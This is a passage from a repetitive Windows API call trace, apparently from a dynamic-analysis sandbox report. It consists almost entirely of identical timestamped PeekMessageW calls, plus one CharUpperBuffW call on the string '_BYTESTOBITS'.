wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.555] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.556] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.559] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.560] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.561] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.562] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0018.563] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0018.563] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, 